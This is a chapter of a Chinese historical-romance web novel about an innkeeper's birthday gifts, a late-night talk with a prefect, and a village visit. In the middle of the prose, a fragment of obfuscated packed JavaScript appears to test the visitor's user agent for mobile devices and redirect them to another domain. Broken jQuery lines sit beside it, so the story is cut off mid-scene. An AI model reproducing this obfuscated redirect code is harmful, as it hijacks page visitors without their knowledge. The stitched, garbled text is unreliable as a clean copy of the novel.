“真的吗?”槐序连声追问,“大人不会正巧也属兔吧?”
熊图点了点头:“正是。”
槐序激动抚掌:“熊大人!你跟我干娘是同年同月同日生的哎!我们大家好有缘分!”
封峤麻溜起身:“我去厨房再下一碗面!”
“不用这么麻烦。”我与熊图几乎同时出声。
封峤尬在原地,探询的目光投向我。
“坐下吃饭,吃完赶紧去干活!”我用筷子拨过熊图面前的空碗,将自己碗里的面挑了一半过去,推还与他。
熊图眼底蕴着笑意:“多谢。”
午后,我正靠在躺椅上小憩,迷迷糊糊之中,听到有人唤我。
“青城,醒醒。”
我睁开眼,见是王云慧和徐嫂,二人手中还拎着大包、小包,一时茫然,支起身子问道:“你们这是——”
徐嫂搁下包袱,大声笑道:“我们给你送生日贺礼来了!”
“什么?!”我惊跳起身,“槐序,槐序!你在织坊又多嘴了是不是?”
“你莫要怪她。”王云慧微笑拦住我,“前些天,我们在那闲聊,说起这半年来的雨水收成,一扒日子,发现今年重阳紧挨着孟冬,扒来扒去,顺道将你的生日也扒出来了!”
“生日随你们扒,这礼我可不能收。”我又唤道,“槐序,槐序你过来!”
徐嫂将我硬拉至包袱旁:“青城妹子,你且打开瞧瞧,再说收不收呢!”
王云慧笑着附声:“就是,就是。”
二人一左一右夹着我,像两堵会移动的墙。“搞什么呢,真是……”我嘴上埋怨,心底却有些好奇,揭开包袱皮的那一瞬,青翠跃入眼帘——竟是一架新竹制成的风铃!竹节还泛着微霜,清新的竹香沁人心脾。
徐嫂见我看傻了眼,拍着我的肩,得意道:“稀罕不?”
我嘿嘿乐出了声:“稀罕,太稀罕了!”
王云慧拈起风铃串线,手腕轻轻一抖,一个个竹节在空中划出优美的弧度。刹那间,清脆的“叮咚”声在屋内荡开,似山间清泉,余韵绕梁,久久不散。
徐嫂又问:“这礼收不收?”
“收,收!”我颤声道,“这礼可送到我心坎里去了,难为你们竟想得出来!这么多截竹筒,要锯、要磨、要拼镶,不知——费了大家多少工夫……”
“就知道你会喜欢。”王云慧笑道,“我听曲布说——僚人‘尚青尚竹’,便琢磨着用竹子做件小玩意送给你,和老柳一合计,决定做架风铃。
“我绘样,他描图,砍了刘玉院子里的新竹,交给徐山。他们两口子手巧,带着学堂的孩子们忙活许久,可算是在立冬前赶出来了!”
“多谢,多谢!”我抚弄着风铃,爱不释手;徐嫂打开旁边的小包,笑道,“来来来,这里还有!”
包内是一方青绫软枕,枕面用同色丝线绣着几枝疏竹,近看时,似有若无的荞麦气息在鼻间萦绕,像似晒透的麦壳,混杂着田野清风的味道。
“这绣工,跟我比起来,可是要好太多了!”我抬眼,笑看她二人,“自打入秋,我这肩颈便时常不适,夜里翻来覆去,总也睡不踏实。正想缝一只软枕用呢,一直忙着没空。不知是谁,这般有心,捎来这么个好东西!”
“哎——”王云慧轻叹,脸上带着欣慰的笑意,“是芝莫呀。”
我且惊且喜:“芝莫已经去织坊上工啦?”
“月初的时候,曲布、阿果两口子把她领到我那——”王云慧颔首,眼角有泪光闪动,“我把妮依积攒的工钱交于她了,也算了却妮依的一桩遗愿。”
“芝莫和她姐姐一样,是个知恩图报的好孩子。”徐嫂拿起软枕,塞到我怀里,“前几日,你去医馆扎针,被芝莫瞧见。她悄悄问刘大夫,怎样才能帮到你。
“刘大夫说你项痹失调,冬天换上软枕或是好些。她便四处寻软适的料子,缝了这只荞麦枕,放在医馆,等你下趟去拿。刘大夫知道我俩中午有行动,就把枕头交给我们,顺道带过来了。”
我心内感动,连声道谢,再次唤来槐序,将风铃挂于廊下。四人入坐,又喝了会茶,笑谈一阵,见日头偏西,王云慧和徐嫂起身告辞。
我将她二人送出,想着有些日子没上槯场了,便折转过去。
行市中见到久未谋面的郭成,我质问他:为何巡检司的人马,近来都不肯去客栈照顾生意,难不成是我青娘子招呼不周?
郭成苦笑以对:青娘子那有“活阎王”坐阵,弟兄们哪是不肯去,是不敢去……
晚间,我换上芝莫新做的枕头,闭上眼,却如何也睡不着。
从芝莫想到妮依;从王云慧想到徐嫂;又从槐序想到罗二英,短短半年,桩桩件件的变故,走马灯似的在脑海中游走。
不知不觉便熬到了下半夜,倏而记起今日虽是我的三十整寿,却未有机会饮酒,此刻夜深人静,再不喝上一杯,委实亏欠自己。念及此间,我披衣趿履,藉着稀疏的月色,朝前舍行来。
我打开柜子,一通摸索,终于寻得半壶“重碧春”,再摸出一只酒杯,一手执壶,一手持杯,走到桌旁。正要落座,猛然发现对面有道黑影。
我骇了一跳,定睛看清来人,放下酒壶杯盏,问道:“这么晚了,你不呆在屋里休息,坐在外头做什么?”
熊图端起面前的瓷碗,身子侧转,朝向屋外:“口渴睡不着,起来找碗水喝。”
我给自己倒一杯“重碧春”,漫声又问:“怎么,有心事?”
夜风拂得廊下的风铃轻响,熊图缓缓回道:“我突然觉得,同样是过生日,你有家人有朋友,跟你比起来,我穷得像个乞丐。”
我抿一口酒,轻笑:“你没家人没朋友吗?难不成你从石头缝里蹦出来的?”
熊图的嗓音有些嘶哑:“有是有,但跟你的不一样。”
“这就是云泥之别。”我摩挲着手中杯盏,亦感得意,“你和你的家人朋友,就像天上的云,飘忽不定;我身边的呢,挣扎于泥淖,大约是要实在些。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436455|180828||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>熊图转过身道:“我喝凉水你喝酒,你可真够实在的。”
我笑道:“你馋啦?”
“我已有多年不曾在生日饮酒,今日机缘巧合,你不打算请我喝上一杯吗?”
“不行。”我断然摇头。
“为何?”
“一来,你的伤还没好;二来,这‘重碧春’是林钟专享,我也只敢偷偷饮上一杯,倒多了他会发现的。”
熊图沉默半会,又侧过身去:“你很在乎林钟的感受。”
“还行吧。”我举杯,看向天边的毛月亮,“我这人——不喜欢强人所难。”
巡检司的怂包绕道补给已有月余,害我少赚不少银两,“罪魁祸首”却跟没事人一样,每日前后院穿梭,养马喂鸡,与两个小的混得厮熟。
八亭道上行走的都知道,青城客栈时常收治过路伤患,且会留他们帮工抵债。
过路的马帮以为熊图也是如此,数次吆喝他去钉马掌,被我撞见拦下,马锅头们纷纷笑话我偏心眼;更有些不知死活的,暗中议论——青娘子这次捡回来的小白脸,只怕是山中的狐狸精所化。
我琢磨照这样下去,早晚要生出事端,于是旁敲侧击问“活阎王”——何时回泸州,总被他以各种理由搪塞过去。
这一日,就连远道而来的锅头大哥,都在打听我的婚期,方知“青娘子情系‘狐狸精’”的风言风语,早已越过牛广河,传遍乌蒙山。我再也忍不了,午食过后,便催促熊图,同往燕子坪。
熊图跟在我身后,问道:“青娘子唤我出来,所为何事?”
我头也不回,快步前行:“无事。带你串个门,消消食。”
“你要带我去燕子坪?”
“嗯。”
我行其野,芃芃其麦(注一)。
远山隐隐传来垦田人哼唱的农歌——
大家齐力斫孱颜,
耳听田歌手莫闲。
各愿种成千百索,
豆萁禾穗满青山。
熊图冷不丁出声:“这里曾是戍所,真想不到,王黄州的《畲田词》(注二)竟会传唱此间。”
我驻足回首:“这曲子是柳先生教给他们的。”见熊图神色微动,又补充道,“柳先生原是舒州桐城教谕。”
“我知道。”
“你知道?那你见过他喽?”
“不曾。”熊图微微垂首,话音中似有遗憾之意。
“一会带你去学堂转转,柳先生收拾那些皮猴,还挺有一套的。”
路过织坊,我进去与王云慧打了声招呼,当面谢过芝莫,便领着熊图,直奔刘玉的医馆而来。
刘玉正在案前整理医案,我拍门唤道:“刘大夫!”
刘玉举首笑言:“青娘子。”倏尔瞥见我身后的熊图,不由形容一肃,忙不迭起身迎出,“不知知府大人驾临,有失远迎,有失远迎。”
熊图执手,温言道:“刘大夫不必多礼。”
刘玉小心翼翼看向我:“熊大人看上去气色不错。”